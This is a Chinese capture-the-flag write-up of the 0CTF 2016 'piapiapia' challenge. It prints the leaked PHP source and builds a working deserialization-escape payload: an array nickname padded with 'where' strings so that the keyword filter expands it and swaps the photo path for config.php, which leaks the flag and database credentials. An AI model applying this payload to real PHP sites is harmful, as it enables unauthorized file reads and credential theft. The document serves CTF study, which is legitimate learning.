[0CTF 2016]piapiapia
1.审题
进入登录页面,简单的sql注入无效,可能是过滤了大部分的注入字符
dirsearch扫描一下,发现源码泄漏,www.zip
下载,源码审计
2.源码审计
config.php
<?php
$config[\'hostname\'] = \'127.0.0.1\';
$config[\'username\'] = \'root\';
$config[\'password\'] = \'\';
$config[\'database\'] = \'\';
$flag = \'\';
?>
猜测flag在这个文件中,我们要有一个意识:这是我们下载下来的源码,并非真正的服务端运行的源码,本地搭建做题环境时要改成自己的用户名、密码之类,在服务端docker的主机里,$flag变量应该存的就是我们要的flag。
register.php
<?php
require_once(\'class.php\');
if($_POST[\'username\'] && $_POST[\'password\']) {
$username = $_POST[\'username\'];
$password = $_POST[\'password\'];
if(strlen($username) < 3 or strlen($username) > 16)
die(\'Invalid user name\');
if(strlen($password) < 3 or strlen($password) > 16)
die(\'Invalid password\');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo \'Register OK!<a href="index.php">Please Login</a>\';
}
else {
die(\'User name Already Exists\');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>
update.php
<?php
require_once(\'class.php\');
if($_SESSION[\'username\'] == null) {
die(\'Login First\');
}
if($_POST[\'phone\'] && $_POST[\'email\'] && $_POST[\'nickname\'] && $_FILES[\'photo\']) {
$username = $_SESSION[\'username\'];
if(!preg_match(\'/^\\d{11}$/\', $_POST[\'phone\']))
die(\'Invalid phone\');
if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\']))
die(\'Invalid email\');
if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
die(\'Invalid nickname\');
$file = $_FILES[\'photo\'];
if($file[\'size\'] < 5 or $file[\'size\'] > 1000000)
die(\'Photo size error\');
move_uploaded_file($file[\'tmp_name\'], \'upload/\' . md5($file[\'name\']));
$profile[\'phone\'] = $_POST[\'phone\'];
$profile[\'email\'] = $_POST[\'email\'];
$profile[\'nickname\'] = $_POST[\'nickname\'];
$profile[\'photo\'] = \'upload/\' . md5($file[\'name\']);
$user->update_profile($username, serialize($profile));
echo \'Update Profile Success!<a href="profile.php">Your Profile</a>\';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
profile.php
<?php
require_once(\'class.php\');
if($_SESSION[\'username\'] == null) {
die(\'Login First\');
}
$username = $_SESSION[\'username\'];
$profile=$user->show_profile($username);
if($profile == null) {
header(\'Location: update.php\');
}
else {
$profile = unserialize($profile);
$phone = $profile[\'phone\'];
$email = $profile[\'email\'];
$nickname = $profile[\'nickname\'];
$photo = base64_encode(file_get_contents($profile[\'photo\']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
index.php
<?php
require_once(\'class.php\');
if($_SESSION[\'username\']) {
header(\'Location: profile.php\');
exit;
}
if($_POST[\'username\'] && $_POST[\'password\']) {
$username = $_POST[\'username\'];
$password = $_POST[\'password\'];
if(strlen($username) < 3 or strlen($username) > 16)
die(\'Invalid user name\');
if(strlen($password) < 3 or strlen($password) > 16)
die(\'Invalid password\');
if($user->login($username, $password)) {
$_SESSION[\'username\'] = $username;
header(\'Location: profile.php\');
exit;
}
else {
die(\'Invalid user name or password\');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>
class.php
<?php
require(\'config.php\');
class user extends mysql{
private $table = \'users\';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = \'$username\'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array(\'username\', \'password\');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = \'$username\'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = \'$username\'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = \'$username\'";
return parent::update($this->table, \'profile\', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config[\'hostname\'],
$config[\'username\'],
$config[\'password\']
);
mysql_select_db($config[\'database\']);
mysql_query("SET sql_mode=\'strict_all_tables\'");
return $this->link;
}
public function select($table, $where, $ret = \'*\') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(\',\', $key_list);
$value = \'\\\'\' . implode(\'\\\',\\\'\', $value_list) . \'\\\'\';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = \'$value\' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array(\'\\\'\', \'\\\\\\\\\');
$escape = \'/\' . implode(\'|\', $escape) . \'/\';
$string = preg_replace($escape, \'_\', $string);
$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
return preg_replace($safe, \'hacker\', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
我们的目的是读取config.php
观察有没有任意文件读取漏洞,发现在profile.php中有这样一段
<?php
require_once(\'class.php\');
if($_SESSION[\'username\'] == null) {
die(\'Login First\');
}
$username = $_SESSION[\'username\'];
$profile=$user->show_profile($username);
if($profile == null) {
header(\'Location: update.php\');
}
else {
$profile = unserialize($profile);
$phone = $profile[\'phone\'];
$email = $profile[\'email\'];
$nickname = $profile[\'nickname\'];
$photo = base64_encode(file_get_contents($profile[\'photo\']));
?>
观察profile的入口,在update里
move_uploaded_file($file[\'tmp_name\'], \'upload/\' . md5($file[\'name\']));
$profile[\'phone\'] = $_POST[\'phone\'];
$profile[\'email\'] = $_POST[\'email\'];
$profile[\'nickname\'] = $_POST[\'nickname\'];
$profile[\'photo\'] = \'upload/\' . md5($file[\'name\']);
$user->update_profile($username, serialize($profile));
echo \'Update Profile Success!<a href="profile.php">Your Profile</a>\';
这里肯定不能直接对photo进行修改,那就考虑nickname入口,先试着构造下
<?php
$profile[\'phone\']=\'12345678901\';
$profile[\'email\']=\'for@example.com\';
$profile[\'nickname\']=\'";s:5:"photo";s:10:"config.php";}\';
$profile[\'photo\']=\'upload/21232f297a57a5a743894a0e4a801fc3\';
var_dump(serialize($profile));
?>
结果
string(187) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"
但是问题是如何让后面的部分s:5:"photo";s:10:"config.php";逃逸
寻找过滤函数、
该题对nickname进行两次过滤
第一次是长度过滤,可以通过数组绕过,但不足以然我们的config.php逃逸
但是,问题在于,构造的nickname必须是数组形式
if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
die(\'Invalid nickname\');
第二次是关键字过滤,看如何利用
public function filter($string) {
$escape = array(\'\\\'\', \'\\\\\\\\\');
$escape = \'/\' . implode(\'|\', $escape) . \'/\';
$string = preg_replace($escape, \'_\', $string);
$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
return preg_replace($safe, \'hacker\', $string);
}
这里只有where是五个字符,其余均为6字符,替换为hacker六字符,考虑可否通过此处吞掉多余的字符,关于吞字符,可以在我的另一篇博客easy_serialize_php中了解详情
开始实验,先大致算一下,然后慢慢加减
错误示例
<?php
function filter($string){
$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
return preg_replace($safe, \'hacker\', $string);
}
$profile[\'phone\']=\'12345678901\';
$profile[\'email\']=\'for@example.com\';
$profile[\'nickname\']=\'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}\';
$profile[\'photo\']=\'upload/21232f297a57a5a743894a0e4a801fc3\';
var_dump(filter(serialize($profile)));
?>
写入33个where,结果
string(392) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"
计算198=33*6构造成功,但是实际没成功,因为nickname没写成数组形式
正确示范(因为nickname是数组,需要重新构造并且用}闭合,此时为204位,即34个where)
注意 数组构造后下一个元素前不需要封号where";}s:5:"photo";,非数组则有where";s:5:"photo";
<?php
function filter($string){
$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
return preg_replace($safe, \'hacker\', $string);
}
$a=array(\'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}\');
$profile[\'phone\']=\'12345678901\';
$profile[\'email\']=\'for@example.com\';
$profile[\'nickname\']=$a;
$profile[\'photo\']=\'upload/21232f297a57a5a743894a0e4a801fc3\';
var_dump(filter(serialize($profile)));
结果
string(403) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"
3.解题
先注册一个账号,登录
上传随意一张图
抓包后修改内容
解码即可
参考博客
http://yqxiaojunjie.com/index.php/archives/171/
https://blog.csdn.net/crisprx/article/details/104705018/
https://www.jianshu.com/p/3b44e72444c1